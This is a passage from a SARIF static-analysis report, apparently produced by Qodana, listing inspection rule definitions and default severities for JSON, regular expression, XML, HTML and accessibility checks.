{\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JsonDuplicatePropertyKeys\",\n                \"shortDescription\": {\n                  \"text\": \"Duplicate keys in object literals\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a duplicate key in an object literal.\",\n                  \"markdown\": \"Reports a duplicate key in an object literal.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JsonDuplicatePropertyKeys\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JSON and JSON5\",\n                      \"index\": 8,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"RegExpRedundantNestedCharacterClass\",\n                \"shortDescription\": {\n                  \"text\": \"Redundant nested character class\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports unnecessary nested character classes. Example: '[a-c[x-z]]' After the quick-fix is applied: '[a-cx-z]' New in 2020.2\",\n                  \"markdown\": \"Reports unnecessary nested character classes.\\n\\n**Example:**\\n\\n\\n      [a-c[x-z]]\\n\\nAfter the quick-fix is applied:\\n\\n\\n      [a-cx-z]\\n\\nNew in 2020.2\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"RegExpRedundantNestedCharacterClass\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"RegExp\",\n                      \"index\": 37,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"XmlDeprecatedElement\",\n                \"shortDescription\": {\n                  \"text\": \"Deprecated symbol\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a deprecated XML element or attribute. Symbols can be marked by XML comment or documentation tag with text 'deprecated'.\",\n                  \"markdown\": \"Reports a deprecated XML element or attribute.\\n\\nSymbols can be marked by XML comment or documentation tag with text 'deprecated'.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"XmlDeprecatedElement\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"XML\",\n                      \"index\": 33,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"HtmlWrongAttributeValue\",\n                \"shortDescription\": {\n                  \"text\": \"Wrong attribute value\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an incorrect HTML attribute value.\",\n                  \"markdown\": \"Reports an incorrect HTML attribute value.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"HtmlWrongAttributeValue\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"HTML\",\n                      \"index\": 14,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"XmlDefaultAttributeValue\",\n                \"shortDescription\": {\n                  \"text\": \"Redundant attribute with default value\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a redundant assignment of the default value to an XML attribute.\",\n                  \"markdown\": \"Reports a redundant assignment of the default value to an XML attribute.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"XmlDefaultAttributeValue\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"XML\",\n                      \"index\": 33,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"RegExpOctalEscape\",\n                \"shortDescription\": {\n                  \"text\": \"Octal escape\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports octal escapes, which are easily confused with back references. Use hexadecimal escapes to avoid confusion. Example: '\\\\07' After the quick-fix is applied: '\\\\x07' New in 2017.1\",\n                  \"markdown\": \"Reports octal escapes, which are easily confused with back references. Use hexadecimal escapes to avoid confusion.\\n\\n**Example:**\\n\\n\\n      \\\\07\\n\\nAfter the quick-fix is applied:\\n\\n\\n      \\\\x07\\n\\nNew in 2017.1\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"RegExpOctalEscape\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"RegExp\",\n                      \"index\": 37,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"UnusedDefine\",\n                \"shortDescription\": {\n                  \"text\": \"Unused define\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unused named pattern ('define') in a RELAX-NG file (XML or Compact Syntax). 'define' elements that are used through an include in another file are ignored.\",\n                  \"markdown\": \"Reports an unused named pattern (`define`) in a RELAX-NG file (XML or Compact Syntax). `define` elements that are used through an include in another file are ignored.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"UnusedDefine\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"RELAX NG\",\n                      \"index\": 43,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JsonSchemaCompliance\",\n                \"shortDescription\": {\n                  \"text\": \"Compliance with JSON schema\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports inconsistence between a JSON file and the JSON schema that is assigned to it.\",\n                  \"markdown\": \"Reports inconsistence between a JSON file and the [JSON schema](https://json-schema.org) that is assigned to it.  \"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JsonSchemaCompliance\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JSON and JSON5\",\n                      \"index\": 8,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EmptyDirectory\",\n                \"shortDescription\": {\n                  \"text\": \"Empty directory\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports empty directories. Available only from Code | Inspect Code or Code | Analyze Code | Run Inspection by Name and isn't reported in the editor. Use the Only report empty directories located under a source folder option to have only directories under source roots reported.\",\n                  \"markdown\": \"Reports empty directories.\\n\\nAvailable only from **Code \\\\| Inspect Code** or\\n**Code \\\\| Analyze Code \\\\| Run Inspection by Name** and isn't reported in the editor.\\n\\nUse the **Only report empty directories located under a source folder** option to have only directories under source\\nroots reported.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EmptyDirectory\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"General\",\n                      \"index\": 19,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"RegExpAnonymousGroup\",\n                \"shortDescription\": {\n                  \"text\": \"Anonymous capturing group or numeric back reference\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports anonymous capturing groups and numeric back references in a RegExp. These are only reported when the RegExp dialect supports named group and named group references. Named groups and named back references improve code readability and are recommended to use instead. When a capture is not needed, matching can be more performant and use less memory by using a non-capturing group, i.e. '(?:xxx)' instead of '(xxx)'. Example: '(\\\\d\\\\d\\\\d\\\\d)\\\\1' A better regex pattern could look like this: '(?<quad>\\\\d\\\\d\\\\d\\\\d)\\\\k<quad>' New in 2017.2\",\n                  \"markdown\": \"Reports anonymous capturing groups and numeric back references in a RegExp. These are only reported when the RegExp dialect supports named group and named group references. Named groups and named back references improve code readability and are recommended to use instead. When a capture is not needed, matching can be more performant and use less memory by using a non-capturing group, i.e. `(?:xxx)` instead of `(xxx)`.\\n\\n**Example:**\\n\\n\\n      (\\\\d\\\\d\\\\d\\\\d)\\\\1\\n\\nA better regex pattern could look like this:\\n\\n\\n      (?<quad>\\\\d\\\\d\\\\d\\\\d)\\\\k<quad>\\n\\nNew in 2017.2\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"RegExpAnonymousGroup\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"RegExp\",\n                      \"index\": 37,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CheckDtdRefs\",\n                \"shortDescription\": {\n                  \"text\": \"Unresolved DTD reference\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports inconsistency in a DTD-specific reference, for example, in a reference to an XML entity or to a DTD element declaration. Works in DTD an XML files.\",\n                  \"markdown\": \"Reports inconsistency in a DTD-specific reference, for example, in a reference to an XML entity or to a DTD element declaration. Works in DTD an XML files.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CheckDtdRefs\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"XML\",\n                      \"index\": 33,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"NonAsciiCharacters\",\n                \"shortDescription\": {\n                  \"text\": \"Non-ASCII characters\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports code elements that use non-ASCII symbols in an unusual context. Example: Non-ASCII characters used in identifiers, strings, or comments. Identifiers written in different languages, such as 'myСollection' with the letter 'C' written in Cyrillic. Comments or strings containing Unicode symbols, such as long dashes and arrows.\",\n                  \"markdown\": \"Reports code elements that use non-ASCII symbols in an unusual context.\\n\\nExample:\\n\\n* Non-ASCII characters used in identifiers, strings, or comments.\\n* Identifiers written in different languages, such as `my`**С**`ollection` with the letter **C** written in Cyrillic.\\n* Comments or strings containing Unicode symbols, such as long dashes and arrows.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"NonAsciiCharacters\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Internationalization\",\n                      \"index\": 61,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"LossyEncoding\",\n                \"shortDescription\": {\n                  \"text\": \"Lossy encoding\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports characters that cannot be displayed because of the current document encoding. Examples: If you type international characters in a document with the US-ASCII charset, some characters will be lost on save. If you load a UTF-8-encoded file using the ISO-8859-1 one-byte charset, some characters will be displayed incorrectly. You can fix this by changing the file encoding either by specifying the encoding directly in the file, e.g. by editing 'encoding=' attribute in the XML prolog of XML file, or by changing the corresponding options in Settings | Editor | File Encodings.\",\n                  \"markdown\": \"Reports characters that cannot be displayed because of the current document encoding.\\n\\nExamples:\\n\\n* If you type international characters in a document with the **US-ASCII** charset, some characters will be lost on save.\\n* If you load a **UTF-8** -encoded file using the **ISO-8859-1** one-byte charset, some characters will be displayed incorrectly.\\n\\nYou can fix this by changing the file encoding\\neither by specifying the encoding directly in the file, e.g. by editing `encoding=` attribute in the XML prolog of XML file,\\nor by changing the corresponding options in **Settings \\\\| Editor \\\\| File Encodings**.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"LossyEncoding\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Internationalization\",\n                      \"index\": 61,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"RegExpRepeatedSpace\",\n                \"shortDescription\": {\n                  \"text\": \"Consecutive spaces\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports multiple consecutive spaces in a RegExp. Because spaces are not visible by default, it can be hard to see how many spaces are required. The RegExp can be made more clear by replacing the consecutive spaces with a single space and a counted quantifier. Example: '(     )' After the quick-fix is applied: '( {5})' New in 2017.1\",\n                  \"markdown\": \"Reports multiple consecutive spaces in a RegExp. Because spaces are not visible by default, it can be hard to see how many spaces are required. The RegExp can be made more clear by replacing the consecutive spaces with a single space and a counted quantifier.\\n\\n**Example:**\\n\\n\\n      (     )\\n\\nAfter the quick-fix is applied:\\n\\n\\n      ( {5})\\n\\n\\nNew in 2017.1\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"RegExpRepeatedSpace\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"RegExp\",\n                      \"index\": 37,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"RegExpDuplicateAlternationBranch\",\n                \"shortDescription\": {\n                  \"text\": \"Duplicate branch in alternation\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports duplicate branches in a RegExp alternation. Duplicate branches slow down matching and obscure the intent of the expression. Example: '(alpha|bravo|charlie|alpha)' After the quick-fix is applied: '(alpha|bravo|charlie)' New in 2017.1\",\n                  \"markdown\": \"Reports duplicate branches in a RegExp alternation. Duplicate branches slow down matching and obscure the intent of the expression.\\n\\n**Example:**\\n\\n\\n      (alpha|bravo|charlie|alpha)\\n\\nAfter the quick-fix is applied:\\n\\n\\n      (alpha|bravo|charlie)\\n\\nNew in 2017.1\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"RegExpDuplicateAlternationBranch\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"RegExp\",\n                      \"index\": 37,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"IgnoreFileDuplicateEntry\",\n                \"shortDescription\": {\n                  \"text\": \"Ignore file duplicates\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports duplicate entries (patterns) in the ignore file (e.g. .gitignore, .hgignore). Duplicate entries in these files are redundant and can be removed. Example: '# Output directories\\n    /out/\\n    /target/\\n    /out/'\",\n                  \"markdown\": \"Reports duplicate entries (patterns) in the ignore file (e.g. .gitignore, .hgignore). Duplicate entries in these files are redundant and can be removed.\\n\\nExample:\\n\\n\\n        # Output directories\\n        /out/\\n        /target/\\n        /out/\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"IgnoreFileDuplicateEntry\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Version control\",\n                      \"index\": 62,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JsonStandardCompliance\",\n                \"shortDescription\": {\n                  \"text\": \"Compliance with JSON standard\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports the following discrepancies of a JSON file with the language specification: A line or block comment (configurable). Multiple top-level values (expect for JSON Lines files, configurable for others). A trailing comma in an object or array (configurable). A single quoted string. A property key is a not a double quoted strings. A NaN or Infinity/-Infinity numeric value as a floating point literal (configurable).\",\n                  \"markdown\": \"Reports the following discrepancies of a JSON file with [the language specification](https://tools.ietf.org/html/rfc7159):\\n\\n* A line or block comment (configurable).\\n* Multiple top-level values (expect for JSON Lines files, configurable for others).\\n* A trailing comma in an object or array (configurable).\\n* A single quoted string.\\n* A property key is a not a double quoted strings.\\n* A NaN or Infinity/-Infinity numeric value as a floating point literal (configurable).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JsonStandardCompliance\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JSON and JSON5\",\n                      \"index\": 8,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CheckEmptyScriptTag\",\n                \"shortDescription\": {\n                  \"text\": \"Empty tag\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports empty tags that do not work in some browsers. Example: '<html>\\n    <script/>\\n  </html>' After the quick-fix is applied: '<html>\\n    <script></script>\\n  </html>'\",\n                  \"markdown\": \"Reports empty tags that do not work in some browsers.\\n\\n**Example:**\\n\\n\\n      <html>\\n        <script/>\\n      </html>\\n\\nAfter the quick-fix is applied:\\n\\n\\n      <html>\\n        <script></script>\\n      </html>\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CheckEmptyScriptTag\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"HTML\",\n                      \"index\": 14,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              }\n            ],\n            \"language\": \"en-US\",\n            \"contents\": [\n              \"localizedData\",\n              \"nonLocalizedData\"\n            ],\n            \"isComprehensive\": false\n          },\n          {\n            \"name\": \"HtmlTools\",\n            \"version\": \"233.13017\",\n            \"rules\": [\n              {\n                \"id\": \"HtmlRequiredAltAttribute\",\n                \"shortDescription\": {\n                  \"text\": \"Missing required 'alt' attribute\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a missing 'alt' attribute in a 'img' or 'applet' tag or in a 'area' element of an image map. Suggests adding a required attribute with a text alternative for the contents of the tag. Based on WCAG 2.0: H24, H35, H36, H37.\",\n                  \"markdown\": \"Reports a missing `alt` attribute in a `img` or `applet` tag or in a `area` element of an image map. Suggests adding a required attribute with a text alternative for the contents of the tag. Based on WCAG 2.0: [H24](https://www.w3.org/TR/WCAG20-TECHS/H24.html), [H35](https://www.w3.org/TR/WCAG20-TECHS/H35.html), [H36](https://www.w3.org/TR/WCAG20-TECHS/H36.html), [H37](https://www.w3.org/TR/WCAG20-TECHS/H37.html).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"HtmlRequiredAltAttribute\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"HTML/Accessibility\",\n                      \"index\": 20,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"HtmlFormInputWithoutLabel\",\n                \"shortDescription\": {\n                  \"text\": \"Missing associated label\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a form element ('input', 'textarea', or 'select') without an associated label. Suggests creating a new label. Based on WCAG 2.0: H44.\",\n                  \"markdown\": \"Reports a form element (`input`, `textarea`, or `select`) without an associated label. Suggests creating a new label. Based on WCAG 2.0: [H44](https://www.w3.org/TR/WCAG20-TECHS/H44.html).  \"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"HtmlFormInputWithoutLabel\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"HTML/Accessibility\",\n                      \"index\": 20,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"HtmlRequiredTitleAttribute\",\n                \"shortDescription\": {\n                  \"text\": \"Missing required 'title' attribute\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a missing title attribute 'frame', 'iframe', 'dl', and 'a' tags. Suggests adding a title attribute. Based on WCAG 2.0: H33, H40, and H64.\",\n                  \"markdown\": \"Reports a missing title attribute `frame`, `iframe`, `dl`, and `a` tags. Suggests adding a title attribute. Based on WCAG 2.0: [H33](https://www.w3.org/TR/WCAG20-TECHS/H33.html), [H40](https://www.w3.org/TR/WCAG20-TECHS/H40.html), and [H64](https://www.w3.org/TR/WCAG20-TECHS/H64.html).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"HtmlRequiredTitleAttribute\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"HTML/Accessibility\",\n                      \"index\": 20,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"HtmlDeprecatedTag\",\n                \"shortDescription\": {\n                  \"text\": \"Obsolete tag\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an obsolete HTML5 tag. Suggests replacing the obsolete tag with a CSS or another tag.\",\n                  \"markdown\": \"Reports an obsolete HTML5 tag. Suggests replacing the obsolete tag with a CSS or another tag.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"HtmlDeprecatedTag\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"HTML\",\n                      \"index\": 14,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CheckImageSize\",\n                \"shortDescription\": {\n                  \"text\": \"Mismatched image size\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'width' and 'height' attribute value of a 'img' tag that is different from the actual width and height of the referenced image.\",\n                  \"markdown\": \"Reports a `width` and `height` attribute value of a `img` tag that is different from the actual width and height of the referenced image.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CheckImageSize\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"HTML\",\n                      \"index\": 14,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"HtmlRequiredSummaryAttribute\",\n                \"shortDescription\": {\n                  \"text\": \"Missing required 'summary' attribute\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a missing 'summary' attribute in a 'table' tag. Suggests adding a'summary' attribute. Based on WCAG 2.0: H73.\",\n                  \"markdown\": \"Reports a missing `summary` attribute in a `table` tag. Suggests adding a`summary` attribute. Based on WCAG 2.0: [H73](https://www.w3.org/TR/WCAG20-TECHS/H73.html).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"HtmlRequiredSummaryAttribute\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"HTML/Accessibility\",\n                      \"index\": 20,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"HtmlRequiredLangAttribute\",\n                \"shortDescription\": {\n                  \"text\": \"Missing required 'lang' attribute\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a missing 'lang' (or 'xml:lang') attribute in a 'html' tag. Suggests adding a required attribute to state the default language of the document. Based on WCAG 2.0: H57.\",\n                  \"markdown\": \"Reports a missing `lang` (or `xml:lang`) attribute in a `html` tag. Suggests adding a required attribute to state the default language of the document. Based on WCAG 2.0: [H57](https://www.w3.org/TR/WCAG20-TECHS/H57.html).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"HtmlRequiredLangAttribute\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"HTML/Accessibility\",\n                      \"index\": 20,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"HtmlNonExistentInternetResource\",\n                \"shortDescription\": {\n                  \"text\": \"Unresolved web link\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unresolved web link. Works by making network requests in the background.\",\n                  \"markdown\": \"Reports an unresolved web link. Works by making network requests in the background.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"HtmlNonExistentInternetResource\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"HTML\",\n                      \"index\": 14,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"HtmlRequiredTitleElement\",\n                \"shortDescription\": {\n                  \"text\": \"Missing required 'title' element\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a missing 'title' element inside a 'head' section. Suggests adding a 'title' element. The title should describe the document. Based on WCAG 2.0: H25.\",\n                  